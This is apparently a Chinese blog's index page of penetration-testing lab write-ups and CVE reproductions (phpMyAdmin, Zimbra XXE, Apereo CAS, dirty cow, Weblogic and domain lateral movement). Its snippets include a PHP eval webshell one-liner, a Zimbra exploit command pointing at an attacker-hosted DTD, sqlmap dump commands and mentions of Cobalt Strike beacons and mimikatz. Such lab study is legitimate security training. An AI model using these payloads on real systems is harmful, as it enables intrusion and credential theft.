- 博客(18)
- 收藏
- 关注
RSS订阅原创 CVE-2018-12613 漏洞复现
通过目录扫描发现未有任何其他重要信息，尝试对其进行子域名爆破，发现了datasafe.votenow.local域名，将其添加到/etc/hosts中进行访问，发现该域名为phpmyadmin。开启监听端口，在SQL中写入：select '<?curl http://192.168.56.119/config.php.bak，发现数据库用户名、密码等重要信息。再输入select '<?
2025-08-20 18:05:17
999
原创 外网-内网渗透测试（文件上传漏洞利用）
摘要：通过目录扫描发现目标网站存在文件上传漏洞，成功上传PHP木马获取权限。内网渗透发现双网卡环境，使用Fscan扫描内网并搭建隧道访问10.0.0.*网段。在10.0.0.222服务器发现FCKeditor组件存在文件上传漏洞，通过修改上传文件后缀名绕过限制，最终利用哥斯拉工具成功连接。整个渗透过程涉及外网突破、内网横向移动和漏洞利用等多个环节。
2025-08-19 18:31:46
2173
原创 Apereo CAS靶场渗透练习
2.下载工具： apereo-cas-attack-1.0-SNAPSHOT-all.jar，下载地址：https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar。4.将execution后面内容替换成生成的payload,发现有回显，漏洞存在。后台登录接口为：/cas/login ，登入该接口。3.BurpSuite抓包。利用工具直接利用漏洞。
2025-08-16 22:00:33
625
原创 CVE-2024-28752漏洞复现
Apache CXF 是一个开源的服务框架，帮助开发者使用 JAX-WS 和 JAX-RS 等前端编程 API 构建和开发服务。Apache CXF 在 4.0.4、3.6.3 和 3.5.8 版本之前存在一个使用 Aegis DataBinding 的 SSRF 漏洞，该漏洞允许攻击者对接受至少一个任意类型参数的 Web 服务执行 SSRF 攻击。此漏洞专门影响使用 Aegis DataBinding 的服务，而使用其他数据绑定 (包括默认数据绑定) 的服务不受影响。
2025-08-16 15:26:11
716
原创 CVE-2021-4300漏洞复现
Adminer是一个PHP编写的开源数据库管理工具，支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。
2025-08-16 12:33:19
574
1
原创 墨者学院-uWSGI漏洞复现（CVE-2018-7490）
uWSGI 2.0.17之前的PHP插件，没有正确的处理DOCUMENT_ROOT检测，导致用户可以通过…%2f来跨越目录，读取或运行DOCUMENT_ROOT目录以外的文件,利用该漏洞查看系统上的任意文件。
2025-08-15 15:38:18
437
原创 Weblogic漏洞利用及内网渗透
发现存在10.10.20.7主机，利用fscan扫描该主机：C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\fscan.exe -h 10.10.20.7，发现该主机存在ms17-010（永恒之蓝）漏洞。因为直接访问靶机IP访问不到，利用nmap -sV -p- 192.168.1.114，扫描靶机端口；通过会话上传exe：upload '/home/kali/Desktop/beacon6.exe' C:\\。
2025-08-14 21:16:53
1606
原创 Web到内网渗透测试（phymyadmin）
靶场渗透测试摘要 搭建三台虚拟机靶场（1台Web机、2台内网机），通过Dirsearch扫描发现phpmyadmin入口，利用弱口令root/root登录。在phpMyAdmin中开启日志并写入一句话木马（<?php eval($_POST['123']);?>），通过蚁剑连接获取Webshell。随后启动Cobalt Strike（CS），生成并上传恶意exe文件，缩短响应时间后成功上线。内网探测发现两台主机，通过Mimikatz抓取凭证，利用psexec横向移动控制域控主机，最终实现内网两台
2025-08-11 16:38:49
1733
原创 Pikachu靶场通关攻略
本文总结了多种Web安全漏洞的利用方法，包括暴力破解、XSS、CSRF、SQL注入等。暴力破解部分演示了如何通过BurpSuite工具对登录表单进行爆破，并绕过验证码和token防护。XSS部分展示了反射型、存储型、DOM型等多种XSS攻击方式及绕过过滤的技巧。SQL注入部分介绍了使用Sqlmap工具对数字型、字符型等注入漏洞进行自动化利用。此外还涉及文件包含、不安全文件上传、越权访问、敏感信息泄露等漏洞利用方法，为渗透测试提供了全面的技术参考。
2025-08-07 23:46:50
1837
原创 Zimbra漏洞复现
3.生成含有木马的.jsp文件，命名为MM.jsp，语句为：python3 zimbra.py -u https://192.168.42.131 -d http://192.168.42.128:8686/exp.dtd -n Hh -f MM.jsp。扫描该站点目录：dirsearch -u https://192.168.42.131 ，看看有什么有用的信息，发现没什么有用信息。2.将抓到的包放入Repeater，并修改包内容，发现内容通过XXE漏洞被读出。尝试利用CVE-2019-9670漏洞。
2025-08-07 18:25:05
1606
原创 脏牛漏洞利用靶场
摘要：本文记录了渗透测试靶场的完整过程。首先使用Oracle VirtualBox搭建靶场环境，通过fping扫描发现靶机IP为192.168.56.106。利用SQLmap成功注入数据库获取用户信息，但无法直接登录。随后通过nmap扫描发现开放22端口，使用SSH连接后利用脏牛漏洞(CVE-2016-5195)进行提权，最终通过编译执行漏洞利用程序成功获取root权限。整个过程展示了从信息收集、漏洞发现到权限提升的完整渗透测试链。
2025-08-06 17:58:38
449
原创 Doubletrouble靶场渗透测试
本文记录了渗透测试靶机的全过程。首先通过VirtualBox搭建靶场环境，使用ifconfig和fping进行信息收集，发现靶机IP，通过目录扫描发现数据泄露文件，但账号密码无效。随后在secret目录发现隐藏图片，使用steghide和stgseek工具成功提取出有效凭证并登录。发现靶机运行qdPM 9.1 CMS，利用已知RCE漏洞执行代码，建立反向shell连接。最后通过sudo awk提权命令获取root权限，完成整个渗透过程。
2025-08-06 16:23:26
707
原创 billu b0x靶场
文章摘要：通过VirtualBox搭建靶场环境，使用工具进行信息收集与渗透测试。首先扫描获取靶机IP，发现SQL注入提示但未成功。转而进行目录扫描，发现/test.php页面存在文件包含漏洞，通过修改参数成功获取/etc/passwd文件。随后扫描到phpmyadmin目录，利用文件包含漏洞读取配置文件获取数据库凭证(root/roottoor)，最终通过SSH成功连接靶机。整个过程展示了从信息收集到漏洞利用的完整渗透测试流程。
2025-08-06 13:05:42
548
原创 文件上传漏洞靶场练习
通过fping扫描发现靶机IP，利用dirsearch发现管理员界面。使用BurpSuite添加X-Forwarded-For头绕过权限，爆破出admin/admin凭证。通过修改上传文件后缀成功上传PHP木马，用蚁剑连接。发现yousef用户凭据后SSH登录，利用sudo权限提权至root。最终在/root/root.txt中找到Base64编码的flag，解码后显示flag。
2025-08-05 17:57:10
1118
原创 DC爆破靶场练习
本文详细记录了一次渗透测试过程：首先通过VirtualBox搭建靶场环境，使用fping扫描发现靶机IP。Nmap扫描显示开放22和80端口，Dirb和Gobuster目录扫描发现/secret/evil.php漏洞页面。通过FFuf工具爆破出command参数实现漏洞利用，获取用户凭证后尝试SSH连接。对用户私钥使用John爆破获得密码"unicorn"，成功登录后通过find命令发现可写passwd文件，修改root密码实现提权。整个过程涵盖了信息收集、
2025-08-05 13:15:59
613
原创 云端杀毒靶场训练
本文记录了一次完整的渗透测试过程：首先搭建靶场环境，使用Kali攻击机对目标网站进行信息收集，发现需要邀请码的云端杀毒扫描服务。通过目录扫描发现控制台页面，但需PIN码。接着使用SQLmap进行注入攻击，成功获取4个有效邀请码并登录。在文件扫描功能中发现命令执行漏洞，确认存在nc和python3环境后，利用revshells.com生成反弹shell代码，最终通过漏洞成功获取系统权限（显示$提示符）。
2025-08-04 17:45:29
571
原创 WordPress靶场
本文记录了从搭建靶场到获取系统权限的完整渗透测试过程。首先在虚拟机环境中搭建靶场，通过Kali攻击机进行信息收集，使用arp-scan扫描网段并识别目标IP。接着利用nmap和dirb扫描发现WordPress站点，通过BurpSuite解决页面加载问题。对WordPress进行漏洞扫描未果后，成功爆破出管理员密码（admin/adam14）。在后台尝试上传404.php木马失败后，通过GitHub获取WebShell插件实现初步控制，最后利用MySQL提权漏洞提权。
2025-08-04 14:45:51
2330
原创 MSSQL SQLi Labs 靶场通关攻略
4.爆破数据：sqlmap -r '/home/kali/Desktop/less16' -D test -T users --dump --level=5。3.同样，爆破表名：sqlmap -r '/home/kali/Desktop/less16' -D test --tables --level=5。3.提升等级：sqlmap -r '/home/kali/Desktop/less20' --dbs --level=5 --risk=3。3.尝试利用echo "<?
2025-08-03 12:17:44
1530
1
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人